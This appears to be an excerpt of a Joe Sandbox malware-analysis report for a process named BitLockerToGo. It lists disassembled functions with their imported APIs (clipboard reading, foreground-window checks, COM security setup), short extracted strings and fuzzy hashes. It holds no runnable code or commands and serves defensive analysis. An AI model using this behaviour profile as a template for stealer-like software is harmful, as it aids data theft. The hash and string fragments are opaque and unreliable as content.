Opcode Fuzzy Hash: 51c6d633db7a2f56b18d9ed07ddd34e624dab06721e09668d63d70c45b15f66f
Instruction Fuzzy Hash: DFE12570604B508BD7358F3594907A3BBE2EB52314F998A7EC5EB4B396C33CA40ACB55

Function 004101A0 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20d94715346fda6ccd9f119377a858114226286e2a6b64bd3fba46898a1bc642
Instruction ID: 504cbaca2827438c380fde95ce87bcc56915575d97f5ff6c3aa173077ce12cd9
Opcode Fuzzy Hash: 20d94715346fda6ccd9f119377a858114226286e2a6b64bd3fba46898a1bc642
Instruction Fuzzy Hash: 47A120B5A00216DFDB04CF68DC91BAEB7B2FF4A305F194169E401EB7A1D7389811CBA5

Function 00446140 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 99115c358b5196872d54fff073581ebed273a862274f87d507079a6c62cc7c28
Instruction ID: 8653169b15692002958cf8e65cc66839a8931a9c9c33a4c9c1381b12e7eb3100
Opcode Fuzzy Hash: 99115c358b5196872d54fff073581ebed273a862274f87d507079a6c62cc7c28
Instruction Fuzzy Hash: 957114316083109FE728DF24C891A7BB7A2FBD6304F1A842DE9858B391DB759C45C796

Function 00445890 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: de8c48bea12242c9da0191b3e56b7710e8f7cedbcaf94db7870b472c419d9c73
Instruction ID: c61f6e130c6dd56fc90856f653c5ade1a6ae34eb26133f20dfc0554b8ec10a72
Opcode Fuzzy Hash: de8c48bea12242c9da0191b3e56b7710e8f7cedbcaf94db7870b472c419d9c73
Instruction Fuzzy Hash: 707145356047019FEB249F18D891B3FB3A2EFD5350F19882EE9829B362EB749811C749

Function 00406740 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f754e6a645258ccbb1c216075c50781bb7ec72063722546f916e9f7eccc181b6
Instruction ID: 27733e546c1e688ded4fd3813316ae9a0798088e0c10fdf0e22e17665a49633c
Opcode Fuzzy Hash: f754e6a645258ccbb1c216075c50781bb7ec72063722546f916e9f7eccc181b6
Instruction Fuzzy Hash: 36713861A483818BD7249F388841367BBD59B92300F1AC57FD8C79B3C2D27CC865D79A

Function 004420E8 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b40331ccb2b1422c98ac6eacd74b874c91bad133305f05d54576302ea252b87
Instruction ID: 2198e249e9faf998c8cc56a44d358782e37b2b2159b532ceee83a2e607bef304
Opcode Fuzzy Hash: 9b40331ccb2b1422c98ac6eacd74b874c91bad133305f05d54576302ea252b87
Instruction Fuzzy Hash: 3F414832A083414BE314DF68CA4573BB7A2BBD5300F59897EE5D2537A1CBF88D01978A

Function 00441FBE Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9001e15ce52b55149b366ec39ea51425f4928d136357b44a2b9b3f2d02e594db
Instruction ID: 4630d97a8c37565aad93a6378e00518747ba0754619e0afe3843cb60cf5195eb
Opcode Fuzzy Hash: 9001e15ce52b55149b366ec39ea51425f4928d136357b44a2b9b3f2d02e594db
Instruction Fuzzy Hash: BF2132326483428FE318DF54DD8573AB3A2BB85345F59047EE58693AA2CBF8CC41D749

Function 0040D5F0 Relevance: 6.1, APIs: 4, Instructions: 68
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0040D697
GetForegroundWindow.USER32 ref: 0040D69D
GetCurrentProcessId.KERNEL32 ref: 0040D6A7
ExitProcess.KERNEL32 ref: 0040D6C7

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: CurrentProcess$ExitForegroundThreadWindow
String ID:
API String ID: 3118123366-0
Opcode ID: ab82fa428c4dde88d47ead806fcb150ad6102606fb42aae4a3fc4bfdfa1f8273
Instruction ID: 2ee70c2a7f044ef72f2c1ad4d3b6f54ceaec95a1eaa0d6d95a79783b8be77429
Opcode Fuzzy Hash: ab82fa428c4dde88d47ead806fcb150ad6102606fb42aae4a3fc4bfdfa1f8273
Instruction Fuzzy Hash: 3511363291554047E718FF7B881E35FA6435FC1309F18C97ED48ADB2D9DD39480A8A6A

Function 0043E615 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00000000), ref: 0043E624

Strings

,C, xrefs: 0043E626

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID: ,C
API String ID: 1279760036-1018371460
Opcode ID: cf7a0bc51a3b4c2be3cc76962705ad250ab25e05e1b8ee3e26b9b934a56725c9
Instruction ID: 09b870368c0ffec36c6e6e35793982688a89b8cf4e89fff49c82d45dcd634e52
Opcode Fuzzy Hash: cf7a0bc51a3b4c2be3cc76962705ad250ab25e05e1b8ee3e26b9b934a56725c9
Instruction Fuzzy Hash: 21B01234147110BCD03113110CC5FFF3D2C9F43F55F101024B604140C047546001D07D

Function 0043BF63 Relevance: 3.1, APIs: 2, Instructions: 86
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(B7458976), ref: 0043BFF8
SysAllocString.OLEAUT32(B7458976), ref: 0043C098

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 706a6ca42b8739fe3b5ea0dc2f9873dd563141ef3602a208fa74f4d4fdc36dfb
Instruction ID: 2a6ea36e50dd950eb4f484085d1a98249fe47e0a1afdca0f18ae8a8b465f55b1
Opcode Fuzzy Hash: 706a6ca42b8739fe3b5ea0dc2f9873dd563141ef3602a208fa74f4d4fdc36dfb
Instruction Fuzzy Hash: 0921E6B29683619FD704CF74D84424BB6E5FFE6606F08C93CE8949B219DB74894887C7

Function 00410F69 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00410F7B
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,Function_00010F90), ref: 00410FA2

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: a49bcfe9660149ea6391710a84b1884864d9cf61e45bd243e027d83f58dfcbf0
Instruction ID: f997c1c8d1572797b3e055b00ded34ac3d23b6712f83428a8f95a52276ab2896
Opcode Fuzzy Hash: a49bcfe9660149ea6391710a84b1884864d9cf61e45bd243e027d83f58dfcbf0
Instruction Fuzzy Hash: 1AE0C5383CC312BAF9751B64AC1BF053524A702F62F300320B7257C5E44AE03600951D

Function 0043C581 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043C593
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043C5AB

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 2218c9e643845c1247618d7c4115460f1342f06ae867e25a1d3309d33b339915
Instruction ID: 34dada18a376dc8830d6a1e4705df5d48e66d65894d55b6f4d1ab1f4d436d6fc
Opcode Fuzzy Hash: 2218c9e643845c1247618d7c4115460f1342f06ae867e25a1d3309d33b339915
Instruction Fuzzy Hash: DEE0E9357C4341BAF6321B50ED5BF457A65A752F42F300425B3417C0F08AE17B519A0D

Function 004419A0 Relevance: 1.6, APIs: 1, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 00441A36

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 562826640c1b6c68c378789984722e3f4ea17dbdbedc089a093d2eb38e178df6
Instruction ID: 883437f8ae1920974371a7b21120e49aa3f5dca58097bbc1c2fa425c985a1c85
Opcode Fuzzy Hash: 562826640c1b6c68c378789984722e3f4ea17dbdbedc089a093d2eb38e178df6
Instruction Fuzzy Hash: AD1159B2A19352DBE304DB24EC9065BB796ABCA300F58843DE9C057291E7399859C792

Function 0043E656 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 0043E6C8

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 13d5897e76223d3faca7e46acc1eb3c68c40a7e57971ed3de6a32c72133c09d3
Instruction ID: bb8c760d9a22796c0b308e442e885e00c54f20c0e0edced537a12164818fd982
Opcode Fuzzy Hash: 13d5897e76223d3faca7e46acc1eb3c68c40a7e57971ed3de6a32c72133c09d3
Instruction Fuzzy Hash: 1DF02835786641DFE7008B64E8007657726E78A329F2886B9C1041B6E3C2364C17CB84

Function 00441B90 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00441BF6

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 8a640508243eca6cdb6bd843cbca78e53a8e614946fe94ab117814893be38be0
Instruction ID: d206a81831f7eb90d62d81b598a7e306b0e32a2f5c36c689bef7d1ab286e9ffd
Opcode Fuzzy Hash: 8a640508243eca6cdb6bd843cbca78e53a8e614946fe94ab117814893be38be0
Instruction Fuzzy Hash: 070149376183504BD324DB34E45521BBBE2EB62345F18893DE8C2D7351EB34D940CB8A

Function 004366C1 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00436709

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: d2720f11e7304b77477e6c261250323f31f9f183b2b9284d4c4d6156ee0f135d
Instruction ID: 5b33f61212a9d5d2382c030a351a587ca87f86826dcdbffd16dfcec0a91bd622
Opcode Fuzzy Hash: d2720f11e7304b77477e6c261250323f31f9f183b2b9284d4c4d6156ee0f135d
Instruction Fuzzy Hash: 0FF014B45487028FE711DF15D198B5BBBF0FB89308F00891CE4A58B391C7B9A948CF82

Function 00441BE8 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00441BF6

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: a738130fe51dc963f7d7b230b32f150f907f978ad3d6d79e3c40a7e19fafb032
Instruction ID: 06356d87e97ba5f14ff8caee16e92aabdee9a4dd2fc5d5c30e06e5797c8c4718
Opcode Fuzzy Hash: a738130fe51dc963f7d7b230b32f150f907f978ad3d6d79e3c40a7e19fafb032
Instruction Fuzzy Hash: 46E08C3A5003408BD304DB24FC9656937E1E71630A3140439E843C33A2D736EA01CA0A

Function 00433FF0 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00434033

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 27f3fd5874c18c5af1b04effe15bfbe943073575aeecf347d86803fcd62ed7b6
Instruction ID: dcaaa5bd761d47cd35251548e2899503c781f650fa72724266154e761c99e16d
Opcode Fuzzy Hash: 27f3fd5874c18c5af1b04effe15bfbe943073575aeecf347d86803fcd62ed7b6
Instruction Fuzzy Hash: 80E05AB01093028FE314DF14C1A875BBBE0BB84308F10890CE0A94B290C7BAAA49CFC2

Function 00410F40 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 00410F53

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 66fc0d3f8590f83952b4199a2e3ec275b703f37856092759df69d444eaa4ae08
Instruction ID: 0734d154d35e220bf7e4829ae2ad3e1e2ee60fe69c8989f328acd20126e9f9ac
Opcode Fuzzy Hash: 66fc0d3f8590f83952b4199a2e3ec275b703f37856092759df69d444eaa4ae08
Instruction Fuzzy Hash: 39C08C30014248BBF220272DAC0FF03396CD303B26F804330BAA0440D2AAA06810D5FA

Non-executed Functions

Function 00428B15 Relevance: 40.7, Strings: 32, Instructions: 675COMMON

Download Yara Rule

Strings

#!, xrefs: 00428EFC
qw, xrefs: 00429398
`F, xrefs: 00428D5C
75, xrefs: 00428EDE
#!, xrefs: 004294FC
L9B?, xrefs: 00428FE4
WU, xrefs: 00428E8E
efg`, xrefs: 004294F5
:a<g, xrefs: 00429046
efg`, xrefs: 00429514, 00429532
w%O;, xrefs: 00428FDD
Ym%c, xrefs: 0042903F
_i%o, xrefs: 00429038
qo, xrefs: 00428D71
sq, xrefs: 00428E34
%A1G, xrefs: 0042900E
O1Z7, xrefs: 00428FF2
TeN{, xrefs: 0042904D
d5<K, xrefs: 00428FF9
(E[, xrefs: 00429015
O=A3, xrefs: 00428FEB
8U#k, xrefs: 00429031
'%, xrefs: 00428F06
5M>C, xrefs: 00429007
~F, xrefs: 00428D6A
Aq, xrefs: 00428D63
;I4O, xrefs: 00429000
}s, xrefs: 00429391
M}Cs, xrefs: 0042905B
-Y*_, xrefs: 0042901C
wu, xrefs: 00428E3E
4{y, xrefs: 00428E20

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: %A1G$(E[$-Y*_$4{y$5M>C$8U#k$:a<g$;I4O$Aq$L9B?$M}Cs$O1Z7$O=A3$TeN{$Ym%c$_i%o$`F$d5<K$efg`$efg`$qo$w%O;$~F$#!$#!$'%$75$WU$qw$sq$wu$}s
API String ID: 0-2163230315
Opcode ID: 3a21005593cd4bccca9b198d9bd880eb0655542a1a6aa92f9b9585c71ae2d378
Instruction ID: 4ea3058ee1832c5a1b71d215505f7cf634e7e84f5686484f8b11aec9c632126f
Opcode Fuzzy Hash: 3a21005593cd4bccca9b198d9bd880eb0655542a1a6aa92f9b9585c71ae2d378
Instruction Fuzzy Hash: 306232B4900B54CFDB24CF25D881B9ABBB1FB05300F5585ADD89A6F766CB34A842CF84

Function 00401000 Relevance: 19.5, Strings: 14, Instructions: 1989COMMON

Download Yara Rule

Strings

gfff, xrefs: 00401D18
0123456789abcdefxp, xrefs: 004013FA, 0040146C
, xrefs: 0040378D
gfff, xrefs: 00401DBF
gfff, xrefs: 00401D03
, xrefs: 00403826
-, xrefs: 00401CCD
, xrefs: 004037A9
, xrefs: 00403794
0123456789ABCDEFXP, xrefs: 004013EC, 0040145F
gfff, xrefs: 00401D75
, xrefs: 004037A2
, xrefs: 004037B0
, xrefs: 0040379B

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $ $-$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff$gfff$gfff
API String ID: 0-3131871939
Opcode ID: 41a2d04a1145071c999776ab57c0bf972bcd5d1f358527067b886ff83f2b4d86
Instruction ID: c3fc945702f1accca8a5091da0ed090600132d1a466bfebc3d11c0c96abf29a1
Opcode Fuzzy Hash: 41a2d04a1145071c999776ab57c0bf972bcd5d1f358527067b886ff83f2b4d86
Instruction Fuzzy Hash: CAE2E3716093418FC718CF28C49432BBBE2AF95314F18867EE495AB3D1D778D949CB8A

Function 0041FED0 Relevance: 17.9, Strings: 13, Instructions: 1668COMMON

Download Yara Rule

Strings

()./, xrefs: 00420337
tw, xrefs: 0042128F
x, xrefs: 0042095A
efg`, xrefs: 004209F0
h, xrefs: 004204EA
_Ub, xrefs: 00420379
@, xrefs: 004203A5
XY^_, xrefs: 00420363
\]R+, xrefs: 0042036E
9>?, xrefs: 0042030B
TUJK, xrefs: 00420384
?%7", xrefs: 00420133
pXw, xrefs: 004202DF

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 9>?$()./$?%7"$@$TUJK$XY^_$\]R+$efg`$h$pXw$tw$x$_Ub
API String ID: 0-530149803
Opcode ID: 08758636418bb65d9af98801ac6c4d2ac21a19f4f6775666bb3259742ff88a3f
Instruction ID: 8c31b59be32a807209b0c7f9f070ae2ad77ff914540d2431ff6c9f709ddc8495
Opcode Fuzzy Hash: 08758636418bb65d9af98801ac6c4d2ac21a19f4f6775666bb3259742ff88a3f
Instruction Fuzzy Hash: 22C214716083918BD334CF25D8507ABBBE2EFD6304F58891EE4C99B392D7789805CB96

Function 004012D5 Relevance: 16.0, Strings: 12, Instructions: 987COMMON

Download Yara Rule

Strings

0000, xrefs: 0040280E
0000, xrefs: 004027A5
0000, xrefs: 004027B3
0, xrefs: 00402449
0000, xrefs: 004027AC
0, xrefs: 004021FF
0000, xrefs: 004027BA
i, xrefs: 00402A7E
0, xrefs: 00402151
@, xrefs: 004029AF
0000, xrefs: 004027C8
0000, xrefs: 004027C1

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$0$0$0000$0000$0000$0000$0000$0000$0000$@$i
API String ID: 0-3385986306
Opcode ID: ab1337395353107c19c74b3a6fee8347949756d798c4ad8939949a5939fd5f99
Instruction ID: c03f03a368c4e3bd502a14674130260364e62eedf7944319a69562f1fd22c2f3
Opcode Fuzzy Hash: ab1337395353107c19c74b3a6fee8347949756d798c4ad8939949a5939fd5f99
Instruction Fuzzy Hash: F882D6756093418FC719CF28C69431ABBE1AB85304F18897EE8D6A73D1D3B8DD05CB8A

Function 00436BC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 123clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00436BD0
GetWindowLongW.USER32 ref: 00436BF5
GetClipboardData.USER32 ref: 00436C05
GlobalLock.KERNEL32 ref: 00436C1E
GlobalUnlock.KERNEL32 ref: 00436D50
CloseClipboard.USER32 ref: 00436D59

Strings

', xrefs: 00436C71
C, xrefs: 00436C9E
3, xrefs: 00436C8F

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: '$3$C
API String ID: 2832541153-2726532645
Opcode ID: 916ea6223bedf66882a02800340b7f82fa8ad0784d5c9ef22bc23acf5ad15e19
Instruction ID: 6405cb630e05a2bb3f405cc822136220cb016506d844a3c575cdadac0f0cb4c8
Opcode Fuzzy Hash: 916ea6223bedf66882a02800340b7f82fa8ad0784d5c9ef22bc23acf5ad15e19
Instruction Fuzzy Hash: 2C41967160C3818EE301AF78D48931FBFE09B96308F15982EE4C587342C67D8549D767

Function 00425030 Relevance: 13.0, Strings: 10, Instructions: 459COMMON

Download Yara Rule

Strings

j!m', xrefs: 004250E6
U?]1, xrefs: 00425468
E=V3, xrefs: 00425104
S7BI, xrefs: 004253C9
L3N5, xrefs: 004253C1
}rt6, xrefs: 00425129
9R?, xrefs: 004250F9
=K{M, xrefs: 004253D1
LO, xrefs: 004253D9
V167, xrefs: 0042510F

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 9R?$=K{M$E=V3$L3N5$LO$S7BI$U?]1$V167$j!m'$}rt6
API String ID: 0-3952383238
Opcode ID: 308a8e9616265b54cd42d5cd3845e910ed26ea46a4686bd2ba46c646c366163a
Instruction ID: 5e91c92cb77c9cc6e92fd4cb9bd1c908dc9bc9b887e7685a40e3e0f7bee04a71
Opcode Fuzzy Hash: 308a8e9616265b54cd42d5cd3845e910ed26ea46a4686bd2ba46c646c366163a
Instruction Fuzzy Hash: 59D1FBB16087208BC324CF24E89176BB7F1FFD1354F498A5DE8958B3A1E7789844CB96

Function 00423AB0 Relevance: 11.9, Strings: 9, Instructions: 696COMMON

Download Yara Rule

Strings

rMB, xrefs: 004244F0
nLB, xrefs: 00424301
3GB, xrefs: 004242D5
_IB, xrefs: 004244DA
LB, xrefs: 004242BF
9B, xrefs: 004241F5, 0042420D, 00424257, 004242A1, 00424317, 0042434B, 0042437F, 004243B3, 004243D1, 004243EF, 0042440D, 0042446A, 00424488, 004244A6, 00424506, 00424524, 00424542, 0042455C, 0042457A, 00424598
9NB, xrefs: 00423AC4
FMB, xrefs: 00424275
wOB, xrefs: 00424335

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 9B$3GB$9NB$FMB$_IB$nLB$rMB$wOB$LB
API String ID: 0-1580996290
Opcode ID: 822b4af60e0d94dd2474e6cd00ec274b8c60a1f67c7f1bbfae50e6a45ce3c984
Instruction ID: 441cca09a067585db9aa1d99e67a711b97d75ed3798bab44658daf35f650de92
Opcode Fuzzy Hash: 822b4af60e0d94dd2474e6cd00ec274b8c60a1f67c7f1bbfae50e6a45ce3c984
Instruction Fuzzy Hash: 29727CB0509B819ED3768B3C8889797BFD59B1A324F084A5DD0FE873D2C7B96005CB66

Function 0041D0D0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 366threadCOMMON

Download Yara Rule

APIs

FindWindowExW.USER32(00000000,?,?,00000000), ref: 0041D1AD
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0041D262

Strings

W1c3, xrefs: 0041D128
efg`, xrefs: 0041D330
<=, xrefs: 0041D133

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Window$FindProcessThread
String ID: <=$W1c3$efg`
API String ID: 3928697162-3149390115
Opcode ID: 6ef0601fadef9285547c66f1f8765069edb2cebf1dc934f5e1f522180aa84e5c
Instruction ID: 28bb592925e9eea3f0c3eb94a06ed387c87994dd626cc93e4af72e0a9b647448
Opcode Fuzzy Hash: 6ef0601fadef9285547c66f1f8765069edb2cebf1dc934f5e1f522180aa84e5c
Instruction Fuzzy Hash: 9AC1F0B5A08351CFD724DF24D8917ABB7E1EF85304F08883EE48587391E7789845CB9A

Function 004214C0 Relevance: 8.3, Strings: 6, Instructions: 767COMMON

Download Yara Rule

Strings

wr, xrefs: 004215A6
03, xrefs: 00421C59
h7t1, xrefs: 00421C51
T5p7, xrefs: 004216AC
U'd!, xrefs: 00421CEC
|}, xrefs: 00421AC3

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 03$T5p7$U'd!$h7t1$wr$|}
API String ID: 0-1852633749
Opcode ID: 846d71277714052fbc53e96ad2e01902a6348133bbabe04d0817c650bc268070
Instruction ID: e5725026e933132ed1fb6773a46ee094490332d629b49a5629b0676095ba613f
Opcode Fuzzy Hash: 846d71277714052fbc53e96ad2e01902a6348133bbabe04d0817c650bc268070
Instruction Fuzzy Hash: 173221B1A083509BC300DF25D89236BBBF0EFD5354F18892DE4C58B391E7788909CB9A

Function 0041DF4C Relevance: 6.9, Strings: 5, Instructions: 648COMMON

Download Yara Rule

Strings

"A, xrefs: 0041E710
efg`, xrefs: 0041E4C0
efg`, xrefs: 0041E380
efg`, xrefs: 0041E070
efg`, xrefs: 0041E590

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "A$efg`$efg`$efg`$efg`
API String ID: 0-264355305
Opcode ID: 1a4f066ab45bbf1bf65f6ac5b7f18690e3dd64857b403a1244fd8f22e4b8803c
Instruction ID: 6bb61e289445e2232a659a5ff1440077d86045cab6b60c0da35f7b72121b2c56
Opcode Fuzzy Hash: 1a4f066ab45bbf1bf65f6ac5b7f18690e3dd64857b403a1244fd8f22e4b8803c
Instruction Fuzzy Hash: E622DB757083019BD728CF25CD927ABBBD2EBD9304F19883EE8CA97261D674DC418B46

